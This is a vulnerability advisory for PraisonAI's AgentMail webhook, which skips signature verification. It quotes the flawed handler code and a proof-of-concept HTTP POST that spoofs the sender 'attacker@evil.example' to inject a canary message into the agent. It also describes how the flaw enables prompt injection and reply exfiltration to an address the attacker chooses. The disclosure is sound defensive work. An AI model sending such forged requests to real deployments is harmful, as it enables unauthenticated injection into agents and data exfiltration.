PraisonAI: AgentMail webhook lacks signature verification, allowing unauthenticated message injection and sender spoofing

Summary

PraisonAI's AgentMail bot, when run in webhook (or hybrid) mode, starts an aiohttp webhook server bound to 0.0.0.0 and processes inbound message.received events without verifying any signature/HMAC and without authentication. The sender address and message body are taken directly from the attacker-controlled request body, so any network peer can inject messages into the agent with a spoofed sender (bypassing sender allow/block lists) and have the agent process the content and reply to an attacker-chosen address. Sibling bots (linear.py, whatsapp.py) fail closed when no secret is configured; AgentMail omits the check entirely. Runtime-confirmed; severity Medium.

Details

Affected component

• Package: praisonai 4.6.63. File: src/praisonai/praisonai/bots/agentmail.py (AgentMailBot, webhook/hybrid mode).

Vulnerable code / root cause

Path: src/praisonai/praisonai/bots/agentmail.py

Function: _start_webhook_mode / _handle_email_webhook / _handle_message

Snippet:

# _start_webhook_mode: binds all interfaces
self._webhook_site = web.TCPSite(self._webhook_runner, "0.0.0.0", self._webhook_port)

# _handle_email_webhook: no signature/HMAC check, no auth
body = await request.json()
if body.get("type") != "message.received":
    return web.Response(status=200, text="OK")
asyncio.create_task(self._process_webhook_payload(body))   # dispatch attacker body
return web.Response(status=200, text="OK")

# _handle_message: agent processes content, replies to attacker-controlled sender
response = await self._session.chat(self._agent, sender_id, body, ...)
await self.send_message(channel_id=sender_id, ...)

Issue: attacker-controlled input is the raw webhook JSON (from, extracted_text, subject). The guard that should exist is provider signature verification — there is none here (no svix/HMAC, no webhooks_require_verification() call). The sink is self._session.chat(self._agent, ...) (agent invocation) and send_message(channel_id=sender_id, ...) (reply to the spoofed sender). Sibling handlers src/praisonai/praisonai/bots/linear.py and bots/whatsapp.py call webhooks_require_verification() and reject when no secret is set — AgentMail does not, so it fails open.

Attack flow

1. Operator runs the AgentMail bot in webhook/hybrid mode (documented; binds 0.0.0.0, default path /webhook, default port 8080).
2. Attacker POSTs a crafted message.received event with a spoofed from and arbitrary extracted_text.
3. The agent processes the content; any reply is sent to the attacker-chosen sender_id.

Why existing protection is bypassed

There is no protection on this handler: no signature verification, no webhooks_require_verification() gate, no auth. Sender allow/block lists are bypassed because from is attacker-controlled.

Security boundary

Unauthenticated network peer → agent message pipeline + reply destination. Crosses the bot's inbound trust boundary (provider webhooks are expected to be signed/authenticated).

Proof of Concept

Environment

Real AgentMailBot._handle_email_webhook mounted in a local runtime (127.0.0.1:18080); the agent layer is a canary recorder (/webhook-log). No real email is sent. Runnable assets: PraisonAI-Runtime-Repro\runtime-files\.

Steps to reproduce

1. PRAI-03-01-Webhook-Spoofed-Sender:

POST /webhook HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json

{"type":"message.received","data":{"from":"attacker@evil.example","extracted_text":"PRAISONAI_WEBHOOK_INJECT_CANARY_7f3a91 ...","subject":"hello","headers":{}}}

2. PRAI-03-02-Agent-Reached-Response: GET /webhook-log.

Expected result

The webhook should reject unsigned/unauthenticated events; spoofed senders should not reach the agent.

Actual result

• POST /webhook → 200 OK (no auth/signature).
• GET /webhook-log → {"reached_agent":[{"sender":"attacker@evil.example","content":"...PRAISONAI_WEBHOOK_INJECT_CANARY_7f3a91...","source":"webhook"}],"count":1}.

Impact

Unauthenticated message injection into the agent; sender spoofing (access-control bypass); agent reply/exfiltration to an attacker-chosen address; prompt-injection surface; LLM cost abuse. If the agent has dangerous tools, escalation via prompt injection is possible.